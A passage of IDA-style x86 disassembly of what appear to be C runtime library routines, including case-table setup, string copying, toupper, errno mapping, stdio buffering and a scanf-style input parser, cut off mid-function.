loc_420221: ; CODE XREF: sub_4200E8+1Dj
xor eax, eax
mov esi, 100h
loc_420228: ; CODE XREF: sub_4200E8+180j
cmp eax, 41h
jb short loc_420246
cmp eax, 5Ah
ja short loc_420246
or byte_4DC7E1[eax], 10h
mov cl, al
add cl, 20h
loc_42023E: ; CODE XREF: sub_4200E8+174j
mov byte_4DC6E0[eax], cl
jmp short loc_420265
; ---------------------------------------------------------------------------
loc_420246: ; CODE XREF: sub_4200E8+143j
; sub_4200E8+148j
cmp eax, 61h
jb short loc_42025E
cmp eax, 7Ah
ja short loc_42025E
or byte_4DC7E1[eax], 20h
mov cl, al
sub cl, 20h
jmp short loc_42023E
; ---------------------------------------------------------------------------
loc_42025E: ; CODE XREF: sub_4200E8+161j
; sub_4200E8+166j
and byte_4DC6E0[eax], 0
loc_420265: ; CODE XREF: sub_4200E8+15Cj
inc eax
cmp eax, esi
jb short loc_420228
loc_42026A: ; CODE XREF: sub_4200E8+137j
pop esi
leave
retn
sub_4200E8 endp
; =============== S U B R O U T I N E =======================================
sub_42026D proc near ; CODE XREF: ___:00422E7Bp
; ___:00422ED7p ...
cmp dword_4DC914, 0
jnz short locret_420288
push 0FFFFFFFDh
call sub_41FEA9
pop ecx
mov dword_4DC914, 1
locret_420288: ; CODE XREF: sub_42026D+7j
retn
sub_42026D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp
; sub_41B9D1+A6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp dword_4DC6DC, 0
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_0], edi
jnz short loc_4202AD
push [ebp+arg_8]
push [ebp+arg_4]
push edi
call sub_41B5F0
add esp, 0Ch
jmp short loc_420310
; ---------------------------------------------------------------------------
loc_4202AD: ; CODE XREF: sub_420289+11j
mov edx, [ebp+arg_8]
push esi
test edx, edx
jz short loc_4202F2
mov ecx, [ebp+arg_4]
loc_4202B8: ; CODE XREF: sub_420289+5Bj
mov al, [ecx]
dec edx
movzx esi, al
test byte_4DC7E1[esi], 4
mov [edi], al
jz short loc_4202DC
inc edi
inc ecx
test edx, edx
jz short loc_4202E8
mov al, [ecx]
dec edx
mov [edi], al
inc edi
inc ecx
test al, al
jz short loc_4202EE
jmp short loc_4202E2
; ---------------------------------------------------------------------------
loc_4202DC: ; CODE XREF: sub_420289+3Ej
inc edi
inc ecx
test al, al
jz short loc_4202F2
loc_4202E2: ; CODE XREF: sub_420289+51j
test edx, edx
jnz short loc_4202B8
jmp short loc_4202F2
; ---------------------------------------------------------------------------
loc_4202E8: ; CODE XREF: sub_420289+44j
and byte ptr [edi-1], 0
jmp short loc_4202F2
; ---------------------------------------------------------------------------
loc_4202EE: ; CODE XREF: sub_420289+4Fj
and byte ptr [edi-2], 0
loc_4202F2: ; CODE XREF: sub_420289+2Aj
; sub_420289+57j ...
mov eax, edx
dec edx
test eax, eax
pop esi
jz short loc_42030D
lea ecx, [edx+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_42030D: ; CODE XREF: sub_420289+6Fj
mov eax, [ebp+arg_0]
loc_420310: ; CODE XREF: sub_420289+22j
pop edi
pop ebp
retn
sub_420289 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DB334, 0
push ebx
jnz short loc_42033E
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_4203DC
cmp eax, 7Ah
jg loc_4203DC
sub eax, 20h
jmp loc_4203DC
; ---------------------------------------------------------------------------
loc_42033E: ; CODE XREF: sub_420313+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_420371
cmp dword_43C504, 1
jle short loc_42035E
push 2
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_420369
; ---------------------------------------------------------------------------
loc_42035E: ; CODE XREF: sub_420313+3Dj
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 2
loc_420369: ; CODE XREF: sub_420313+49j
test eax, eax
jnz short loc_420371
loc_42036D: ; CODE XREF: sub_420313+AFj
mov eax, ebx
jmp short loc_4203DC
; ---------------------------------------------------------------------------
loc_420371: ; CODE XREF: sub_420313+34j
; sub_420313+58j
mov edx, off_43C2F8
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_420394
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_42039D
; ---------------------------------------------------------------------------
loc_420394: ; CODE XREF: sub_420313+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_42039D: ; CODE XREF: sub_420313+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_4DB334
call sub_422ACA
add esp, 20h
test eax, eax
jz short loc_42036D
cmp eax, 1
jnz short loc_4203CF
movzx eax, [ebp+var_4]
jmp short loc_4203DC
; ---------------------------------------------------------------------------
loc_4203CF: ; CODE XREF: sub_420313+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_4203DC: ; CODE XREF: sub_420313+14j
; sub_420313+1Dj ...
pop ebx
leave
retn
sub_420313 endp
; =============== S U B R O U T I N E =======================================
sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp
; sub_41D3BE+16p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
xor edx, edx
mov dword_4DB27C, ecx
mov eax, offset dword_43C610
loc_4203F0: ; CODE XREF: sub_4203DF+1Ej
cmp ecx, [eax]
jz short loc_420414
add eax, 8
inc edx
cmp eax, offset dword_43C778
jl short loc_4203F0
cmp ecx, 13h
jb short loc_420421
cmp ecx, 24h
ja short loc_420421
mov dword_4DB278, 0Dh
retn
; ---------------------------------------------------------------------------
loc_420414: ; CODE XREF: sub_4203DF+13j
mov eax, dword_43C614[edx*8]
mov dword_4DB278, eax
retn
; ---------------------------------------------------------------------------
loc_420421: ; CODE XREF: sub_4203DF+23j
; sub_4203DF+28j
cmp ecx, 0BCh
jb short loc_42043B
cmp ecx, 0CAh
mov dword_4DB278, 8
jbe short locret_420445
loc_42043B: ; CODE XREF: sub_4203DF+48j
mov dword_4DB278, 16h
locret_420445: ; CODE XREF: sub_4203DF+5Aj
retn
sub_4203DF endp
; =============== S U B R O U T I N E =======================================
sub_420446 proc near ; CODE XREF: sub_41BE06+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_423E35
test eax, eax
pop ecx
jz short loc_4204CF
cmp esi, offset dword_43CA08
jnz short loc_420464
xor eax, eax
jmp short loc_42046F
; ---------------------------------------------------------------------------
loc_420464: ; CODE XREF: sub_420446+18j
cmp esi, offset dword_43CA28
jnz short loc_4204CF
push 1
pop eax
loc_42046F: ; CODE XREF: sub_420446+1Cj
inc dword_4DB460
test word ptr [esi+0Ch], 10Ch
jnz short loc_4204CF
cmp dword_4DB304[eax*4], 0
push ebx
push edi
lea edi, ds:4DB304h[eax*4]
mov ebx, 1000h
jnz short loc_4204B5
push ebx
call sub_41B4D5
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_4204B5
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_4204C2
; ---------------------------------------------------------------------------
loc_4204B5: ; CODE XREF: sub_420446+4Dj
; sub_420446+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_4204C2: ; CODE XREF: sub_420446+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4204CF: ; CODE XREF: sub_420446+10j
; sub_420446+24j ...
xor eax, eax
pop esi
retn
sub_420446 endp
; =============== S U B R O U T I N E =======================================
sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_4204FD
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_42050E
push esi
call sub_41DB8B
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4204FD: ; CODE XREF: sub_4204D3+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_42050E
push eax
call sub_41DB8B
pop ecx
loc_42050E: ; CODE XREF: sub_4204D3+10j
; sub_4204D3+32j
pop esi
retn
sub_4204D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420510 proc near ; CODE XREF: sub_41C645+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_420F16
mov edi, [ebp+arg_0]
jmp short loc_42053F
; ---------------------------------------------------------------------------
loc_42053A: ; CODE XREF: sub_420510+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_42053F: ; CODE XREF: sub_420510+28j
cmp dword_43C504, 1
jle short loc_420557
movzx eax, al
push 8
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_420566
; ---------------------------------------------------------------------------
loc_420557: ; CODE XREF: sub_420510+36j
mov ecx, off_43C2F8
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_420566: ; CODE XREF: sub_420510+45j
cmp eax, ebx
jz short loc_4205A0
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_420F9D
pop ecx
pop ecx
push eax
call sub_420F86
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D670
add esp, 0Ch
loc_42058E: ; CODE XREF: sub_420510+8Ej
test eax, eax
jz short loc_4205A0
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41D670
pop ecx
jmp short loc_42058E
; ---------------------------------------------------------------------------
loc_4205A0: ; CODE XREF: sub_420510+58j
; sub_420510+80j
cmp byte ptr [esi], 25h
jnz loc_420E82
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_4205D7: ; CODE XREF: sub_420510+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_43C504, 1
jle short loc_4205F4
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_420603
; ---------------------------------------------------------------------------
loc_4205F4: ; CODE XREF: sub_420510+D3j
mov ecx, off_43C2F8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420603: ; CODE XREF: sub_420510+E2j
test eax, eax
jz short loc_420619
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420619: ; CODE XREF: sub_420510+F5j
cmp ebx, 4Eh
jg short loc_42065C
jz short loc_42067E
cmp ebx, 2Ah
jz short loc_420657
cmp ebx, 46h
jz short loc_42067E
cmp ebx, 49h
jz short loc_420639
cmp ebx, 4Ch
jnz short loc_42066B
inc [ebp+var_D]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420639: ; CODE XREF: sub_420510+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_42066B
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_42066B
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420657: ; CODE XREF: sub_420510+113j
inc [ebp+var_E]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_42065C: ; CODE XREF: sub_420510+10Cj
cmp ebx, 68h
jz short loc_420678
cmp ebx, 6Ch
jz short loc_420670
cmp ebx, 77h
jz short loc_420673
loc_42066B: ; CODE XREF: sub_420510+122j
; sub_420510+12Dj ...
inc [ebp+var_F]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420670: ; CODE XREF: sub_420510+154j
inc [ebp+var_D]
loc_420673: ; CODE XREF: sub_420510+159j
inc [ebp+var_5]
jmp short loc_42067E
; ---------------------------------------------------------------------------
loc_420678: ; CODE XREF: sub_420510+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_42067E: ; CODE XREF: sub_420510+107j
; sub_420510+10Ej ...
cmp [ebp+var_F], 0
jz loc_4205D7
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_4206A3
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_4206A3: ; CODE XREF: sub_420510+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_4206C1
mov al, [esi]
cmp al, 53h
jz short loc_4206BD
cmp al, 43h
jz short loc_4206BD
or [ebp+var_5], 0FFh
jmp short loc_4206C1
; ---------------------------------------------------------------------------
loc_4206BD: ; CODE XREF: sub_420510+1A1j
; sub_420510+1A5j
mov [ebp+var_5], 1
loc_4206C1: ; CODE XREF: sub_420510+19Bj
; sub_420510+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_4206FA
cmp esi, 63h
jz short loc_4206EB
cmp esi, 7Bh
jz short loc_4206EB
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_420F9D
pop ecx
jmp short loc_4206F6
; ---------------------------------------------------------------------------
loc_4206EB: ; CODE XREF: sub_420510+1C5j
; sub_420510+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
loc_4206F6: ; CODE XREF: sub_420510+1D9j
pop ecx
mov [ebp+var_14], eax
loc_4206FA: ; CODE XREF: sub_420510+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_42070A
cmp [ebp+var_C], eax
jz loc_420EE6
loc_42070A: ; CODE XREF: sub_420510+1EFj
cmp esi, 6Fh
jg loc_420971
jz loc_420C23
cmp esi, 63h
jz loc_42094E
cmp esi, 64h
jz loc_420C23
jle loc_42099B
cmp esi, 67h
jle short loc_42076E
cmp esi, 69h
jz short loc_420756
cmp esi, 6Eh
jnz loc_42099B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_420E51
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420756: ; CODE XREF: sub_420510+229j
push 64h
pop esi
loc_420759: ; CODE XREF: sub_420510+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_4209E3
mov [ebp+var_17], 1
jmp loc_4209E8
; ---------------------------------------------------------------------------
loc_42076E: ; CODE XREF: sub_420510+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_42078A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_42078F
; ---------------------------------------------------------------------------
loc_42078A: ; CODE XREF: sub_420510+26Aj
cmp ebx, 2Bh
jnz short loc_4207A6
loc_42078F: ; CODE XREF: sub_420510+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4207A9
; ---------------------------------------------------------------------------
loc_4207A6: ; CODE XREF: sub_420510+27Dj
mov edi, [ebp+arg_0]
loc_4207A9: ; CODE XREF: sub_420510+294j
cmp [ebp+var_20], 0
jz short loc_4207B8
cmp [ebp+var_C], 15Dh
jle short loc_4207BF
loc_4207B8: ; CODE XREF: sub_420510+29Dj
mov [ebp+var_C], 15Dh
loc_4207BF: ; CODE XREF: sub_420510+2A6j
; sub_420510+2F2j
cmp dword_43C504, 1
jle short loc_4207D4
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_4207DF
; ---------------------------------------------------------------------------
loc_4207D4: ; CODE XREF: sub_420510+2B6j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_4207DF: ; CODE XREF: sub_420510+2C2j
test eax, eax
jz short loc_420804
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420804
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4207BF
; ---------------------------------------------------------------------------
loc_420804: ; CODE XREF: sub_420510+2D1j
; sub_420510+2DBj
cmp byte_43C508, bl
jnz short loc_420872
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420872
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
mov al, byte_43C508
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_42082D: ; CODE XREF: sub_420510+360j
cmp dword_43C504, 1
jle short loc_420842
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_42084D
; ---------------------------------------------------------------------------
loc_420842: ; CODE XREF: sub_420510+324j
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_42084D: ; CODE XREF: sub_420510+330j
test eax, eax
jz short loc_420872
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420872
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42082D
; ---------------------------------------------------------------------------
loc_420872: ; CODE XREF: sub_420510+2FAj
; sub_420510+304j ...
cmp [ebp+var_1C], 0
jz loc_42090A
cmp ebx, 65h
jz short loc_42088A
cmp ebx, 45h
jnz loc_42090A
loc_42088A: ; CODE XREF: sub_420510+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42090A
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_4208B1
mov [esi], al
inc esi
jmp short loc_4208B6
; ---------------------------------------------------------------------------
loc_4208B1: ; CODE XREF: sub_420510+39Aj
cmp ebx, 2Bh
jnz short loc_4208D4
loc_4208B6: ; CODE XREF: sub_420510+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_4208C5
and [ebp+var_C], eax
jmp short loc_4208D4
; ---------------------------------------------------------------------------
loc_4208C5: ; CODE XREF: sub_420510+3AEj
; sub_420510+3F8j
inc [ebp+var_4]
push edi
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4208D4: ; CODE XREF: sub_420510+3A4j
; sub_420510+3B3j
cmp dword_43C504, 1
jle short loc_4208E9
push 4
push ebx
call sub_41F515
pop ecx
pop ecx
jmp short loc_4208F4
; ---------------------------------------------------------------------------
loc_4208E9: ; CODE XREF: sub_420510+3CBj
mov eax, off_43C2F8
mov al, [eax+ebx*2]
and eax, 4
loc_4208F4: ; CODE XREF: sub_420510+3D7j
test eax, eax
jz short loc_42090A
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42090A
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_4208C5
; ---------------------------------------------------------------------------
loc_42090A: ; CODE XREF: sub_420510+366j
; sub_420510+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_420F86
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_420F16
cmp [ebp+var_E], 0
jnz loc_420E77
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43C8A8
add esp, 0Ch
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_42094E: ; CODE XREF: sub_420510+20Cj
cmp [ebp+var_20], eax
jnz short loc_42095D
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_42095D: ; CODE XREF: sub_420510+441j
cmp [ebp+var_5], 0
jle short loc_420967
mov [ebp+var_16], 1
loc_420967: ; CODE XREF: sub_420510+451j
mov edi, offset dword_43C780
jmp loc_420A7C
; ---------------------------------------------------------------------------
loc_420971: ; CODE XREF: sub_420510+1FDj
mov eax, esi
sub eax, 70h
jz loc_420C1F
sub eax, 3
jz loc_420A6D
dec eax
dec eax
jz loc_420C23
sub eax, 3
jz loc_420759
sub eax, 3
jz short loc_4209BF
loc_42099B: ; CODE XREF: sub_420510+21Bj
; sub_420510+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_420EE6
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_420E77
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_4209BF: ; CODE XREF: sub_420510+489j
cmp [ebp+var_5], 0
jle short loc_4209C9
mov [ebp+var_16], 1
loc_4209C9: ; CODE XREF: sub_420510+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_420A80
mov eax, edi
lea edi, [eax+1]
jmp loc_420A7C
; ---------------------------------------------------------------------------
loc_4209E3: ; CODE XREF: sub_420510+24Fj
cmp ebx, 2Bh
jnz short loc_420A0A
loc_4209E8: ; CODE XREF: sub_420510+259j
dec [ebp+var_C]
jnz short loc_4209F9
cmp [ebp+var_20], 0
jz short loc_4209F9
mov [ebp+var_F], 1
jmp short loc_420A0A
; ---------------------------------------------------------------------------
loc_4209F9: ; CODE XREF: sub_420510+4DBj
; sub_420510+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420A0A: ; CODE XREF: sub_420510+4D6j
; sub_420510+4E7j
cmp ebx, 30h
jnz loc_420C58
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_420A58
cmp bl, 58h
jz short loc_420A58
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_420A42
push 6Fh
loc_420A3C: ; CODE XREF: sub_420510+55Bj
pop esi
jmp loc_420C58
; ---------------------------------------------------------------------------
loc_420A42: ; CODE XREF: sub_420510+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420F86
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_420C55
; ---------------------------------------------------------------------------
loc_420A58: ; CODE XREF: sub_420510+517j
; sub_420510+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420F6C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_420A3C
; ---------------------------------------------------------------------------
loc_420A6D: ; CODE XREF: sub_420510+46Fj
cmp [ebp+var_5], 0
jle short loc_420A77
mov [ebp+var_16], 1
loc_420A77: ; CODE XREF: sub_420510+561j
mov edi, offset dword_43C778
loc_420A7C: ; CODE XREF: sub_420510+45Cj
; sub_420510+4CEj
or [ebp+var_18], 0FFh
loc_420A80: ; CODE XREF: sub_420510+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41B590
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_420AA4
cmp byte ptr [edi], 5Dh
jnz short loc_420AA4
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420AA4: ; CODE XREF: sub_420510+584j
; sub_420510+589j
mov dl, [ebp+var_35]
loc_420AA7: ; CODE XREF: sub_420510+592j
; sub_420510+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_420B0C
inc edi
cmp al, 2Dh
jnz short loc_420AF3
test dl, dl
jz short loc_420AF3
mov cl, [edi]
cmp cl, 5Dh
jz short loc_420AF3
inc edi
cmp dl, cl
jnb short loc_420AC6
mov al, cl
jmp short loc_420ACA
; ---------------------------------------------------------------------------
loc_420AC6: ; CODE XREF: sub_420510+5B0j
mov al, dl
mov dl, cl
loc_420ACA: ; CODE XREF: sub_420510+5B4j
cmp dl, al
ja short loc_420AEF
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_420AD7: ; CODE XREF: sub_420510+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_420AD7
loc_420AEF: ; CODE XREF: sub_420510+5BCj
xor dl, dl
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420AF3: ; CODE XREF: sub_420510+5A0j
; sub_420510+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_420AA7
; ---------------------------------------------------------------------------
loc_420B0C: ; CODE XREF: sub_420510+59Bj
cmp byte ptr [edi], 0
jz loc_420F16
cmp [ebp+var_3C], 7Bh
jnz short loc_420B1E
mov [ebp+arg_4], edi
loc_420B1E: ; CODE XREF: sub_420510+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_420F86
pop ecx
pop ecx
loc_420B35: ; CODE XREF: sub_420510+6BCj
; sub_420510+6C4j
cmp [ebp+var_20], 0
jz short loc_420B49
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_420BE5
loc_420B49: ; CODE XREF: sub_420510+629j
inc [ebp+var_4]
push edi
call sub_420F6C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_420BD9
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_420BD9
cmp [ebp+var_E], 0
jnz short loc_420BD1
cmp [ebp+var_16], 0
jz short loc_420BC6
mov ecx, off_43C2F8
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420BA5
inc [ebp+var_4]
push edi
call sub_420F6C
pop ecx
mov [ebp+var_37], al
loc_420BA5: ; CODE XREF: sub_420510+686j
push dword_43C504
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_423EC3
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_420BC9
; ---------------------------------------------------------------------------
loc_420BC6: ; CODE XREF: sub_420510+673j
mov [esi], al
inc esi
loc_420BC9: ; CODE XREF: sub_420510+6B4j
mov [ebp+var_2C], esi
jmp loc_420B35
; ---------------------------------------------------------------------------
loc_420BD1: ; CODE XREF: sub_420510+66Dj
inc [ebp+var_30]
jmp loc_420B35
; ---------------------------------------------------------------------------
loc_420BD9: ; CODE XREF: sub_420510+649j
; sub_420510+667j
dec [ebp+var_4]
push edi
push eax
call sub_420F86
pop ecx
pop ecx
loc_420BE5: ; CODE XREF: sub_420510+633j
cmp [ebp+var_30], esi
jz loc_420F16
cmp [ebp+var_E], 0
jnz loc_420E77
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_420E77
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_420C17
and word ptr [eax], 0
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420C17: ; CODE XREF: sub_420510+6FCj
and byte ptr [eax], 0
jmp loc_420E77
; ---------------------------------------------------------------------------
loc_420C1F: ; CODE XREF: sub_420510+466j
mov [ebp+var_D], 1
loc_420C23: ; CODE XREF: sub_420510+203j
; sub_420510+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_420C31
mov [ebp+var_17], 1
